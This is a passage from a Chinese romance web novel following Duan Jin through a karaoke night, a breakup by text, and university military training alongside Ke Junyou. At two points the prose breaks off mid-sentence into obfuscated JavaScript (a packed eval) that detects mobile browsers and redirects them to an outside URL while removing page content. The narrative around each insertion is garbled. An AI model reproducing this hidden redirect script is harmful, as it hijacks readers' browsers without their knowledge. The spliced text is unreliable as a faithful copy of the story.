杜覃泽递完麦克风就转身坐了回去,好似并不在意下一首歌是谁唱。 段槿拿着麦克风,看到杜覃泽坐下后,偏头跟柯钧佑说了句什么。 她看不懂口型,也不太关心他们到底说了些什么。从小到大,最喜欢说悄悄话的就是他俩,段槿习惯了,跟秦澜说了首英文歌的歌名。 是GenrlX的《novocaine》。 不知道是不是受柯钧佑的影响,段槿喜欢上了听欧美歌曲。而这首歌,最近频繁出现在脑海中,她有事没事就会哼两句。 歌曲的调调有种奇妙的微醺感,像是一口气灌入了一整瓶红酒,然后进行创作的。 唱歌的过程中,段槿余光瞟到,柯钧佑接起电话出了包厢。 待这首歌结束,他刚好推门进来,直接就踱到了两人跟前。 紧接着,他没什么情绪的将手机递出去。 段槿放下麦克风,抬头看着他:“谁?” 霓虹灯光打在柯钧佑轮廓分明的侧脸,明暗交错间,他右眼下的那颗泪痣更添几分厌世。 “你妈咪,打你手机打不通。” 此话一出,葛维习很明显怔愣住,看一眼个子比自己高了差不多五六公分的冷痞帅哥,又看一眼身旁似乎已经习以为常的段槿。 人还懵着,段槿已经接过手机出了包厢。 再回来时,葛维习脸上的笑意很明显减少了,不过段槿并没有察觉到这一点。 差不多晚上十点多,段槿和葛维习决定先走一步。 在等电梯时,段槿察觉到葛维习一直在偷偷瞄自己,似乎有话想问。 一直等到两人出了会所,葛维习才试探性的开口:“刚刚那人……和你关系很好的样子,是你谁啊?” 段槿不解:“哪个?” 葛维习:“就递手机给你的那个帅哥。” 段槿短促的哦了声:“我和他不熟,就同学。” 话音刚落,耳边响起刺耳的引擎轰鸣声。转头看过去,一辆全黑色机车正朝着这边驶来,很快便刹停在两人面前。 戴着红黑色头盔的男人将挡风镜片打上去,转头叫人的同时,他将放在油箱上的白色头盔丢了出去。 段槿反应迅速,伸手稳稳接住头盔。 都来不及说些什么,柯钧佑盯着人:“上车。回家。” 5. 倦怠期 繁华的商业圈,霓虹灯光闪烁。 街道上的车流声清晰绵长,不久前下过雨,车轮碾过潮湿的路面,发出黏滞的声音。 不过这一刻,段槿的耳边只剩下不太规律的呼吸声,以及晚风吹过树叶的唰唰声。 短暂停顿的这几秒钟时间里,段槿能很明显的感觉到,站在一臂距离外的葛维习,整个人都僵住了。很懵,也有些不知所措。 如果现在没有外人在,段槿会毫不犹豫地朝柯钧佑的胸口来一拳。 在此之前,段槿只觉得柯钧佑这人很烦,是宁女士安插在自己身边的卧底。现在,她觉得柯钧佑就是实打实的混蛋,他完全是奔着搅黄这段还没有发展起来的暧昧关系来的。 更可恨的是,他明知道自己不希望别人知道,两人之间存在着特殊的关系,但还要这样,不是为了打脸还能是因为什么? 她冷漠婉拒:“我开车来的,可以自己回去。”说着,她把头盔递了回去。 柯钧佑没接,连看都不看一眼,还盯着人:“你刚刚喝了酒。” 喝了吗?她忘了。 段槿不再说什么,只能硬着头皮把包包丢给柯钧佑,随后将头盔往头上戴。 跨上机车后座时,她跟葛维习说:“那我就先回去了。” 葛维习还有些没反应过来,牵强地扯起一边的唇角,笑得不自然:“好的,你们回去注意安全。” 随着机车远离商圈,路上的车辆逐渐稀疏。 一个钟不到,全黑机车开进了檀郊公馆,停到了段家的车库里。 车熄火,柯钧佑拔出车钥匙。摘下头盔,他轻甩了下额前的头发,准备跨-下车时,他回过头看到段槿还坐在后座磨磨蹭蹭没下去,就连头盔都没摘。 柯钧佑看不到段槿的脸,抬手把挡风镜片打上去。 直直撞入段槿布满了红血丝的眼睛,他下意识皱眉,嗤了声:“气成这样?” 段槿听不懂柯钧佑在说什么,他好像很喜欢说一些莫名其妙的话,两人很少时候能完全同频。 她抬手想揉眼睛,手还没抬起,手腕就被柯钧佑握住。 “宁女士要是知道你跟一个完全陌生的男性单独出去,不可能这么淡定。” 言外之意:没必要这么怂,麻溜下车去跟妈咪问好。 这句话段槿听明白了,二话不说,把头盔摘下来塞进了柯钧佑怀里。 乘坐电梯上到一楼,电梯门刚打开,段槿就看到宁女士正面朝着落地玻璃窗,在讲电话。 大概是刚从公司回来的缘故,没来得及去洗澡换衣服,她还穿着正装,是一套白色的休闲修身马甲套装。 窄肩v领的设计,前下摆是三角式,后片腰袢设计,打褶立裁弯刀裤型,时尚感十足。 而原本空落落的脖颈处,系着一条法式老钱风条纹丝巾。 边讲电话,宁倾眠抬手看了眼腕表时间,提醒对方:“已经过去十分钟了,还没有任何思路吗?”停顿几秒,她再次开口:“我希望在零点前收到你们的方案,别让我失望。” 话闭,宁倾眠将电话挂断,手机随意丢到沙发上。 一转身就看到段槿正站在茶几旁,刘海遮挡住整个额头,她看着很乖,叫道:“妈咪。” 宁倾眠原本还在气头上,看到段槿的下一秒,脸上立马挂起笑容:“囡囡,你回来啦。” 说着,她迎上前,双手握住段槿的小臂,一脸心疼:“哎呦,你眼睛怎么这么红啊,是不是过敏了,赶紧上楼把美瞳摘掉,以后少戴。” 段槿乖巧点头:“知道了妈咪,你忙完早点休息。”说完这句,她突然想到什么,又问:“爹地还没回来吗?” 宁倾眠摆摆手:“他忙得很,估计还要几天才能抵沪。”说着,她看向电梯口的方向:“你哥哥呢。” 兴许是当了太久乖乖女的缘故,导致明明单独和陌生异性出去的事没被任何人捅-出去,但段槿的眼神还是短暂地躲闪了一下。 又很快说:“他在车库停车。” 宁倾眠并没有察觉出异样,应了声,轻轻拍抚着段槿的手背:“没别的事就赶紧上楼休息吧。” 段槿说好,道完晚安就上楼了。 推门走进卧室。 刚在梳妆台前坐下,段槿下意识看了眼手机,葛维习并没有发消息过来。她不太在意,边摘美瞳,余光瞟到五人群聊里有消息弹出。 【谈恋爱:所以今晚那个男生是公主的男朋友?】 【摆烂小澜:长得倒是挺帅的,说话声音也蛮好听的。】 【7zieo:但是……?】 【摆烂小澜:但是吧,我感觉他不诚实。】 将日抛美瞳摘下来丢进脚边的智能垃圾桶内,段槿拿起手机编辑消息准备回复,远处的卧室门突然被敲响。 段槿能猜到敲门的是谁,磨磨唧唧将踩在椅子边沿的腿放下来,踩着毛绒拖鞋朝着门口走去。 她轻轻拉下门把手,没有完全将门打开,只开了一条小缝。 通过门缝,她先是抬头看到对方的脸,见人不说话,她才垂眸,就发现柯钧佑的掌心里躺着一瓶眼药水。 段槿没有伸手去拿,好像这玩意被下了毒一样,碰不得。 兴许是等得不耐烦了,他语气很一般:“赶紧拿着,别耽误我睡觉。” 段槿这才哦了声,快速拿走眼药水,反手关上了房门。 接下来的一个礼拜,段槿和葛维习聊得不算太频繁。这期间五人小团体已经商量好八月份去哪儿旅游了。 为了这次毕业旅行,段槿被秦澜拉着去做了人生中第二次美甲,依旧是长甲片,并且这次的款式是秦澜挑的。 记得当时秦澜给段槿看款式图的时候,段槿很直接的拒绝了。不过这难不倒秦澜,她可太会撒娇了,说什么这是闺蜜款,又说最爱小槿公主了。 还黏黏糊糊的摇摇她的手说,好不好嘛好不好嘛。 被晃得头晕,段槿回话的语气依旧比较平静,但宕机的那几秒钟时间,以及轻微到很难察觉的勾唇,完全出卖了她。 最终,秦澜得出结论。感动流涕的更新了一条朋友圈。 [摆烂小澜:小槿公主喜欢会撒娇的人,她超害羞啦,萌萌萌萌,我吃吃吃!!] 成功说服段槿的隔天下午,两人准点来到市中心一家网红美甲店。 正卸甲,一位预约顾客极其激动地冲进了店内:“我靠我靠!你们猜我在楼下看到什么了!” 给秦澜做美甲的美甲师秒抬头:“什么啊什么啊。” 这位顾客完全压制不住脸上的笑意,比出三的手势:“三个顶帅,超带劲的帅哥!足足三个啊!” 此话一出,秦澜凑近段槿,很平静地说:“他们要来了。” 不出所料,十分钟不到,仨个顶帅顶带劲的帅哥前后脚走进了美甲店。 为首的男生穿着adidas的黑色三条纹印花宽松短袖,搭配迷彩裤和adidas的黑色贝壳头板鞋。 他迈着长腿,步子极缓地朝着落地窗边的美甲区走来。看他样子像是没睡醒,一手插兜,另一只手很随意的垂在腿侧,手上拎着港芙居的打包袋。 段槿是背对着门口坐的,所以并不知道那边什么情况,只是余光注意到,正在给自己做美甲的美甲师眼睛一瞬间亮了。 手上动作倒是没停,但魂早就跑得没了影。 随着某人越走越近,这位美甲师的视线也在缓缓上移,直至停住。 下一秒,段槿手边的桌上就多出了一个纸袋。 柯钧佑一句话没有,放下东西转身踱步往休息区的方向走。 迈了没两步,段槿回过头叫住他:“发圈。”顿了一秒:“……又弄丢了。” 其实不绑也行,但等会儿涂了甲油,她担心头发丝会不小心沾到指甲盖上。 而在段槿叫住人的几秒钟后,柯钧佑折返回来,从口袋里取出电话线发圈。都用不着段槿多说话,柯钧佑一手抓起她的头发,很随意的绑了个低马尾。 动作娴熟到,给段槿做美甲的美甲师短暂地走了神。 绑完头发,柯钧佑重新踱到了休息区,懒洋洋靠坐到沙发上。 不一会儿,谈俢焱进了店。他快步上前,帮忙拆港芙居的包装盒。 最后进来的杜覃泽手里拎着两杯冻鸳鸯,他边听语音,将没有插吸管的奶茶放到了段槿和秦澜中间,然后也坐沙发那去了。 只有谈俢焱还留在这,慢慢悠悠地,边看美甲师在指甲盖上画手绘,他拆完包装盒,又开始拆吸管的塑封膜,就只差没把食物喂到她们嘴里了。 这一幕被店里的几位美甲师,以及顾客尽收眼底,她们安静地互递眼神,大脑在飞速运转。 也是这时,段槿突然想到了什么,微微侧头看向沙发区,问了一嘴:“之前不是说要上新品来着。” 柯钧佑眼皮没抬,陷在还算柔软的沙发里,边看手机边回话:“过两天上。” 听到俩人的对话,秦澜冷不丁说了句:“你们在家不交流的啊,我咋感觉你俩越来越生疏了呢。” 谈俢焱眼睛一眨,唇角牵起一抹意味深长的笑:“莫非这就是传说中的——倦怠期?” 杜覃泽已经听完全部的语音,敲字回复对面,轻飘飘一句:“我的bar准备开业了。” 谈俢焱不解,看过去:“所以?” 杜覃泽抬眼,朝他挑眉:“我没法保你,柯钧佑入了股。” 谈俢焱不傻,秒懂,麻溜闭上了嘴。 等他把该做的工作都做完了,便不再杵在边上打扰,粘着杜覃泽去了。 百无聊赖的看了会儿综艺,秦澜有点犯困了。她将手从美甲烤灯里拿出来看了眼,随后递给对面的美甲师,然后扯了个话题跟段槿聊:“你跟那晚那个男生现在什么情况?” 此话一出,吃瓜群众们晃晃脑子里的浆糊,不约而同的将目光挪到了主角身上。 这会儿,段槿正滑动着手机屏幕,接收到信号的下一秒,她的手指停在了半空中,顿了好一阵才回答:“没情况。” 秦澜有些担忧的开口:“你打听清楚了吗?我感觉他特别不诚实,合理怀疑他谈过很多女朋友。” 段槿听着,没什么特别的反应。 秦澜急了:“你难道没有感情洁癖吗?你可千万不要只看对方的长相啊,不要被任何男人的外表迷惑了,这是大忌!” 段槿认真说:“有洁癖。” “但我喜欢帅的,这个不行就换一个,反正我要帅的。”话音落,她转头看向还皱着眉头的秦澜,补充了一句:“我没那么容易被骗。真的。” 这个话题就此结束,等做完美甲回到家,段槿突然想起秦澜下午说的话。 实话,她不认为自己是恋爱脑,更不可能因为长相就被坏男人忽悠得团团转,她很清醒。 又或者换一种说法,她很难搞定,日常的聊天和关心根本打动不了她。她不认为这是一个加分项,长得帅也不是加分项。 虽然在她这里,没有好看的皮囊压根儿收不到入场券,但很多时候,她看的是感觉。 而对葛维习的感觉,没什么特别的。只能说,他的确长得帅,个子也还算高,声音蛮好听的,但是不知道是不是错觉,总觉得他怪怪的,或者说直接点,是忽冷忽热。 段槿不喜欢这种被影响情绪的感觉,已经决定找时间结束这段连暧昧都算不上的关系。 正这么想着,葛维习的消息弹了出来。 【葛维习:我觉得我们不合适,互删吧。】 段槿:?? 这也太巧了吧。。 段槿没有丝毫犹豫,点进他的头像,设置那里,按下红色的删除联系人的按键。 然后她就像什么都没发生一样,开始收拾毕业旅行的行李。 在外地玩了将近一个月,八月的最后一个礼拜,段槿得知宁女士飞了趟纽约,在希尔大学报道的前一天下午,宁女士抵沪。 前脚刚回到老宅,后脚宁倾眠就迫不及待地让管家去楼上把段槿给叫了下来。 她将一个四四方方的礼物盒递给段槿,眉眼一弯,露出唇边的梨涡:“这是你江妈咪送给你的开学礼物。” 段槿捧住礼物盒,下意识瞟了眼柯钧佑,他似乎没有什么特别的反应,正陷在沙发里看电影。 段槿收回视线,坐在客厅里跟柯钧佑的母亲,江嫣茹打了几分钟的视频电话表示感谢。 之后,等吃完了晚饭,段槿犹豫了一阵,最终还是敲响了柯钧佑的房门。 这会儿柯钧佑刚洗完澡,额前的头发被他往后顺,露出饱满的额头,水滴顺着下颚流淌到那凸起的喉结上。 他一手撑着门框,微微垂眼看着面前的人。 视线相撞,这么一瞬间,柯钧佑觉得,段槿像是又要找茬。 他站姿极为随意,一条腿微曲着,等着她。 段槿没有拐弯抹角,直说:“我不想被人知道。” 没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537792|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指明,但柯钧佑很清楚,很淡的嗯了声。 刚准备关门,段槿下意识用手撑了一下门。 柯钧佑眉心微蹙,语气悠悠地:“还有事?” 段槿:“你有礼物吗?你妈咪有给你开学礼物吗?” 闻言,柯钧佑不着痕迹地怔了一瞬,很快说:“有。” 段槿点了下头,说完好的就转身走人了。 隔天,希尔大学新生报道。段槿和柯钧佑没有一同前往学校,柯钧佑很早就出发了,段槿则睡到半上午,快中午时她才赶到学院的报道处。 由于开学后需要军训的缘故,学校强制要求所有学生必须住校。 这还是段槿第一次住校,她带的行李不多,一个行李箱绰绰有余。 报完道,按照指示找到宿舍时,三位舍友已经到了,正在唠嗑。 见到段槿,她们很热情的做了自我介绍,又交换了联系方式。只是刚自我介绍完,段槿就忘了她们叫什么名字。 只能在改备注时,又问了一遍。 见状,其中一个舍友提议,她们可以称呼对方的小名,简单好记。 重新交换完名字,下午两点,四人一块儿去到阶梯教室开班会。 班会开了没一会儿,自我介绍环节还未结束时,段槿的照片就在校论坛传开了。 匿名用户po出了两张她发在朋友圈的照片,第一张照片是在川西旅游的某一天,早上出门前,段槿很随意的举手机,对镜拍了当日的ootd。 她穿着白色的吊带背心,外面套一件黑色的机车皮夹克,搭配同色系包臀铆钉牛仔短裤,脚上穿一双黑色西部牛仔裤管靴,腿上套一条白色的过膝袜。 长发披散在肩头,右侧的头发被捋到耳后,露出断眉。她素着张脸,头上架着一副墨镜,明明没什么表情,但看着就是特别带劲。 第二张照片是今年四月份拍的,当时正是午休时间,段槿刷题刷得心烦意乱,被秦澜拉着出去散心。 走到学校后门时,两人被围墙前的一道护栏给堵了去路,段槿懒得绕道出去,把校服外套系腰上。 她单穿一件无logo白色短袖,搭配黑色紧身短裤,将长发随意扎起,没有助跑,直接单手撑栏杆,腰身用力,抬腿轻轻松松翻越了过去。 动作太帅,秦澜没拍着,于是撒娇让段槿又翻了回来。 最终这张照片定格在段槿单手撑栏杆,身体呈悬浮侧飞姿态,一条腿伸展,另一条腿微微弯曲。高马尾随着动作幅度,轻轻甩起。 而这条主贴下面的评论区,有不少人po了她其他的照片,不管是什么风格,她都能很好的驾驭,这种种无不透露出她十分有个性的一面。 原本段槿并没有关注校论坛,等开完了班会回到宿舍,微信接连不断地涌出好友申请信息,有几人的验证内容里提到了校论坛,段槿这才去看。 翻完了主贴下的所有评论,段槿也没能知道到底是谁把自己的微信号给泄露了出去,毕竟他们班里有四十人,加上都不熟的缘故,所以谁都有嫌疑。 不过她倒是不怎么在意,没有通过任何一个人的好友申请,直接将手机锁屏。 同一时间,段槿对床的舍友浅浅晃了晃手机:“贝贝们,有兴趣去吃火锅吗?就在学校附近。” 段槿隔壁床的舍友田恬摘下耳机,转过身:“有谁啊?” 浅浅:“我高中同学组的局,他是体育学院的,具体他那边叫了谁我也不清楚,去认识认识新朋友嘛,怎么样?” 段槿斜对床的舍友李婷道:“我行。明天就要军训了,我估计这半个月都很难再出去吃吃喝喝,今晚去嗨一嗨挺好的。” 田恬点头:“我也没问题。” 浅浅眼睛眨巴眨巴,翘起椅子靠近段槿,用手轻轻拍了拍她的后背:“小槿你呢?一起去吗?” 段槿短暂思考了两秒,然后点头说去。 四人到希尔大学附近的连锁火锅店时,店里已经没有空位,门口还有不少排队等叫号的学生,正窝在一团打游戏聊天。 浅浅边跟她的高中同学讲电话,带着段槿她们仨上到了二楼。 此时正是饭点,吵闹声犹如一窝蜂,在耳边嗡嗡作响。 段槿走在最后边,看到浅浅跟角落那桌的一个平头男生招了招手。然后下一秒,她的手臂就被浅浅拉住。 都来不及反应,浅浅牵着段槿朝不远处走去。 刚来到角落的位置,段槿依稀听到有人说了句:靠,真叫来了。 不确定听没听清,因为下一秒,她就被浅浅按坐到了椅子上。 浅浅特别热情的介绍道:“认识一下,他叫齐禹,是体育学院的。” 段槿直视面前这位戴着半框眼镜,染着一头红发的男生,嘴巴张了张,刚要说你好。 她的视线突然锁定到齐禹的后方,坐在主位的那人慵懒地靠着椅背,微微歪头,饶有兴致的盯着这边。 简直就是……冤家路窄。 不知道是段槿的视线太明晃晃还是怎么着,齐禹转身往后看了眼,没察觉到有什么奇怪的地方。 他回过身问:“那桌是有你认识的人吗?” 段槿已经别开眼:“不是,没有。” 这会儿浅浅已经在两人对面的位置坐下,拿着平板点菜。 段槿不太知道浅浅为什么要让自己坐在这个位置上,但好像又挺明显的。 她倒是不介意跟陌生帅哥坐一块儿,但是—— 太不巧了。 因为这场偶遇,整个吃饭过程中,段槿时不时就会走神。也因为走神,齐禹趁机找段槿要了联系方式。 段槿没有拒绝,甚至连犹豫都没有,很快解锁手机扫了对方的码。 交换完联系方式,段槿埋头吃了一阵,然后放下筷子起身去了卫生间。 在隔间里待了几分钟,她步伐极缓地往外走去。刚拐出卫生间,她的脚步突然顿住。紧接着,眉心不着痕迹地蹙了下。 面前的双人洗手台前,正站着某个不熟的高中同学。他没抬眼,垂眸看着覆满了绵密泡泡的手。 反应过来后,段槿迈腿。权当没看着,不认识。 踱到他旁边的洗手池前,挤了一泵洗手液到手心,揉搓起来。 此时柯钧佑手上的泡泡已经被冲洗干净,他从自动取纸器中取出一张纸巾,慢悠悠地擦手,透过镜子看着段槿。 盯了好几秒,他似笑非笑道:“妹妹换对象的速度,比我换衣服都快。” 6. 烂摊子 他的语气毫不客气,还伴随着‘啧’的一声,似乎有嘲讽意味在,听着怪膈应人的,让段槿非常不爽。 她不打算搭理他,刚好这时,走廊处有一男一女朝着这边走来,她很快垂下眼,把手上的泡泡冲洗干净,等那俩人进了卫生间,听到细微的落锁声响,她才抬眼,透过镜子,与已经去到吸烟区的柯钧佑对视上一眼。 她轻乜着他,看到他慢条斯理的从口袋里掏出烟盒,是一盒没有拆塑封膜的七星银辉。 白色的烟盒上印着黑色的字。最上方是一个很大的SevenStars。中间部分是小子:charcoal Filter。最下面是一段日语。 段槿不太记得柯钧佑是从什么时候开始抽烟的了,可以肯定的是,他接触烟是在成年后,具体因为什么原因接触这个玩意,也没印象了,只知道他不常抽烟,一般情况下都是遇到了什么事才会点一支。 看着他从烟盒里抽出一根咬在嘴边,又伸手进裤子口袋里摸出打火机。全程,他的视线都没有要挪开的意思,直直盯着,像是在挑衅。 段槿不看他了,甩干手上的水渍,转身走人。 回到位置上时,这一桌陌生男性已经喝多聊开了。有人提议创个群,以后多出来聚,还商量着等军训结束了去哪儿玩。 浅浅听到他们的提议后举手朝齐禹挥了挥:“齐禹哥你来创群呗,你和小槿不是有联系方式嘛,你到时候拉她进群。” 说这话时,段槿注意到柯钧佑已经抽完烟回来了。 他那桌有人喊他:“佑哥,有烟吗,来一根。” 柯钧佑从口袋里掏出那盒七星银辉,直接丢过去,甩在桌面:“我先回去了,你们慢吃。” 要烟那男生因为柯钧佑这个举动,弄得愣了好半天,都来不及拿桌上的烟,先回过身想将人叫住,毕竟他们刚刚准备买单的时候,被服务员告知,个子最高长得特帅那男生已经买过了。 又是买单又是整盒烟的给,他们才刚认识不到一天,还怪不好意思的。 但他回过身的时候,柯钧佑已经迈着长腿走到了楼梯口。 同桌的另一个男生边拿桌上的烟,把人拉下来坐,说:“他想走就让他走吧,他今晚看着心情好像不咋地。” 听到对方这么说,他也只能坐下,注意力很快转移到这盒烟上。 他好奇的问:“这啥烟啊,都没见过。” 有人说:“好像是那个,那个叫什么来着,七星银辉?” 与此同时的另一边,段槿走神了好一阵,直到齐禹把手机递到面前。她垂眸看着,屏幕上显示的是群二维码。 她没有掏手机出来,只说:“我比较宅,组局群就不进了。” 说完这句,不给任何人劝说的机会,她接着道:“我们什么时候回去?导员好像说今晚要查寝。” 话音落,整桌人都愣住了,偷摸着互递眼神,似乎没料到段槿会用这种话术拒绝人,之前见她同意加好友,还以为她多好接触呢,实际上和她的长相一样,特别难搞定。 不知沉默了多久,有个男生尬笑了两声:“我们刚还说转场去喝酒呢。” 段槿没看他,而是将视线投到三位舍友身上,很认真的说:“你们要去吗?如果去的话,我一个人可能搞不定导员的逼问。” 闻言,浅浅很快速的推了说话那男生一下,直接起身:“我们不去,我们一块儿回,走吧。” 见此情景,另外两位舍友跟着也站了起来。 被当众拒绝的齐禹嘴角扯起一个不那么好看的笑,给其他男生使眼色:“走啊,吃好了吧,别墨迹了。” 很快,众人一同下楼出了火锅店。 段槿似乎没有要跟人特意告别的打算,因为真的不熟,且以后大概率也不会接触了,要接触估计也只会和齐禹接触。 于是她就真的没有打招呼,出店后都不带停步的,径直朝着学校的方向走去。 另外两位舍友对视一眼,很快跟上去,浅浅跟他们几个男生熟,随意招了招手,小跑追上仨人。 等她们走远了,几个男生们还围在店门口。 有人说:“我是真没想到她居然会来。” 另一人说:“不过她还是蛮难接触的啊,我还以为呢。” 齐禹乜他一眼:“以为什么?以为交换完联系方式就算是搞到手了?她这种级别的妹,很难把的。” 他话音刚落,猝不及防的被人从身后狠撞了一下,直接撞了个酿锵。 好在有人扶着,要不然就摔跟头了。齐禹气急了,反过身看向撞他的那人。 这会儿人都已经走远。 齐禹骂骂咧咧:“我靠,你谁啊,有病吧,撞人还不道歉!”说着就要冲上去。 被身边人劝住:“唉算了算了,人家可能也不是故意的,他个子挺高的,多一事不如少一事。” - 这晚过后,隔天,为期两周的军训正式开始。 九月初,申城还没有转凉,上午勉强还能忍受,等到了下午,站在没有一丝阴凉处的操场正中央站军姿,实在是有些难熬。 不过这些在段槿看来不是什么难事,她一直以来都有健身的习惯,日常也会去攀岩馆攀岩,或是去徒步爬山。很小的时候她就迷上了竞技运动,相较于宁女士要求学习的钢琴以及芭蕾,她更喜欢体育类的。 所以这次军训对于她来说,是轻松的,每天就站军姿,然后走个正步,还没有玩一下午攀岩累,除了太阳烈了点,没有任何的不适。 但同班的不少男生女生每次下训,都会哭丧着脸说要找医院开证明,想去看台的病号连那坐着休息。其中包括浅浅。 看着段槿拿着帽子随意扇风,面上和身体上都没有丝毫疲惫,她攀到她身上:“小槿,你都不累的吗?我快累晕了。” 浅浅整个人几乎挂到了段槿的身上。 段槿的反应很强烈,身体僵了一瞬,很快将人拉开,塞进旁边田恬的怀里:“你扶。” 她不喜欢和不熟的人有任何的肢体接触,非常非常的排斥,女生也不行。 或许这很奇怪,也可能会被误会成嫌弃,但是段槿也没辙,她不喜欢,就会拒绝。如果遇到喜欢的,她也会很认真的表示。 就像在昨晚,她有夸浅浅可爱。 不过这会儿被突然拉开,还是挺突兀的,好在浅浅已经累得神志不清,没觉得有什么不对的地方,抱谁都是抱。 她挂在田恬肩头,刚想跟段槿说什么,远远的就看到齐禹穿过人群,朝着她们所在的方向来了。 浅浅的唇角勾起一抹笑,等齐禹小跑到跟前,她对段槿说:“哎小槿,你跟齐禹走吧,你俩可以聊聊天,我们就先撤了,晚点宿舍见。” 话音落,不给段槿任何拒绝的机会,浅浅拉着田恬和李婷快步离开操场。 等人走得没了影,齐禹主动找话题:“一起去吃饭?我听说后街有家蟹黄拌面很好吃。” 段槿喜欢吃海鲜类的食物,点了下头,嗯了声说好。 这天之后,之后的每一次下训,齐禹都会跑过来找段槿。 他倒是没有什么过界的行为,两人只是一块儿吃午饭和晚饭,然后一起走回宿舍楼。 段槿不太找话题,都是齐禹来,他话还算挺多的,什么都会唠,只是每次聊完了,段槿都会忘记他们聊了些什么内容,这就导致回到宿舍后,被舍友八卦一通,结果她们什么瓜都没吃上。 要说还记得什么,大概是在军训到第四天的时候,齐禹说他马上就要进国旗护卫队了,然后说到时候可能要去其他的地方训练,不过他下训后还是会过来操场这边的。 之所以记得这事,是因为当时聊到这个话题的时候,她看到不远处的看台上,某位不熟的高中同学正盯着这边。 段槿就一个感受,他像一台监控设备,能将所看到的一切,快速且准确的传送到宁女士的电脑里。 如果是传送其他的消息都无所谓,但是和男生有暧昧的互动,在宁女士那是大忌,她很早前就说过,不要和不熟的男性有过多的交流,而她熟的男性只有仨人。 这个监控设备,一个他的嘴替,一个脑子不太好使的。 也因为这个原因,段槿很难忘记当时聊到的话题。 而当她把和齐禹聊的内容转述给舍友后,她们十分意外段槿居然会记得。一个个八卦得不行,问段槿是怎么回话的。 段槿想了两秒,很认真的说:“我说,那你还挺厉害的。” …… 三位舍友同时愣住,额了好半天。如果是别人说这句话,可能很普通,但是不知道为什么,这话从段槿嘴里说出来,就莫名有种阴阳怪气的感觉,不知道齐禹会不会也这样觉得。 他大概也没想到,值得拿出来吹的事,段槿会完全没有反应,连夸都这么的……直。 但不管段槿有多么的不解风情,齐禹依旧没有放弃对她的追求,并且试图拉近两人的距离。 某天下晚训,齐禹提出说要送段槿回宿舍。 希尔大学的宿舍区很大,从操场那边走过来,最先经过的是男寝。之前齐禹提出要送段槿回宿舍,她都直接拒绝了,当然这回也不例外。 听到齐禹说的话,段槿很直接:“不用,你今天下午好像崴到脚了。” 似乎没料到段槿会说这个,齐禹傻了两秒:“啊?你看到了?” 段槿点头:“看到了。” 齐禹尴尬住,一方面是觉得很丢脸,另一方面是当时他在跟人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537793|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说有笑,并且试图展示他灵活且强壮的身体。 所以这会儿,段槿还什么都没说,他就自招了:“我当时是在问学姐军训的最后一个礼拜有没有什么活动安排。” 段槿信以为真,哦了声:“那有吗?什么时候。” 闻言,齐禹再次僵住。 最后他随便扯了个话题,聊完也不再强行要求要送段槿回宿舍了。 在男寝楼下分开后,段槿朝着宿舍楼的方向走,走了没几步,她看到路边上立着的一台饮料贩卖机。 她边从口袋里拿出校卡,走过去,停在贩卖机前,指尖轻按了一下存放芭乐汽水的弹簧货道的按键。 按完按钮,她刷了下校卡,机器开始运作。 也是这时,她突然察觉到身旁似乎站了个人,在她刚来到贩卖机前的时候,这人就来了。 先前段槿以为对方只是等待她买完饮料的同校生,但这人全程盯着自己,实在有些太奇怪。 此时购买的饮料已经被推出,掉落到了取货口。 不等段槿弯腰去拿,旁边这人开口了。 他垂着眼,声音很沉,整个人阴恻恻的:“段槿,你还能再傻一点。” 段槿:?? 她转头看着面前的人:“你为什么要人身攻击。” “因为你没脑子,被骗了还要我去收拾烂摊子,很麻烦,我不乐意。”柯钧佑神情很淡,其实看不出什么情绪,骂人时亦是如此,却莫名冷得有些可怕。 而在他说完这话后,很快又补充了一句:“他没被选进国旗护卫队。” 原本段槿还气着,因为后面补充的这句话,她直接把前一句给抛到了脑后。 只问:“你怎么知道。” 柯钧佑弯腰,很自然的从贩卖机的取货口拿出那罐芭乐味的汽水。 随后绕开她走人,撂一句:“因为我进了。” 如果没有记错的话,刚刚那罐汽水是她买的吧,他就这么顺走了? 段槿没什么表情的嘁了声:“很了不起吗?” 这晚过后的一段时间,段槿没再在操场上看到过柯钧佑和杜覃泽,倒是能见到齐禹,不过他总是绕道走,兴许是觉得没进国旗护卫队怪尴尬的,也可能因为其他什么。 不管因为什么,段槿都不关心,她有很多事要忙,例如,想法子拒绝如洪水般涌来的追求者。 起因是前两天,秦澜在社交平台上发了一张她穿迷彩服的照片。 照片里,段槿很随意的盘腿坐在草坪上,原本在玩手机,被人叫了一声,她有些懵的抬起头,刚好被抓拍到。 这张照片一经发布就在网络上疯传。 托关系打听她,想要她联系方式的人多到两双手数不过来。 她忙着拒绝人,到最后连微信和Q-Q都不愿意登了。 而在她和柯钧佑断联的第六天,晚上下训后,秦澜把段槿叫来了自己宿舍。 在书桌前坐下,秦澜开门见山,很直接的问:“你俩是不是吵架了?” 没有指名道姓。 段槿面上没有任何情绪,很认真的说:“他很烦,我很讨厌他。”因为莫名其妙说难听话攻击人,她就没见过这么不懂礼貌的人,简直太混蛋了。 但这话在秦澜听来,就是小情侣之间的情-趣。 不过看到段槿完全没有那个意思,秦澜把脑袋里乱七八糟的东西抛开,问:“所以这回你俩还有多久才能和好?” 段槿看向她。 秦澜解释说:“军训马上就要结束了,我们五个真的好久没聚了!” 段槿扭回头:“不知道,可能还得再过几天。” 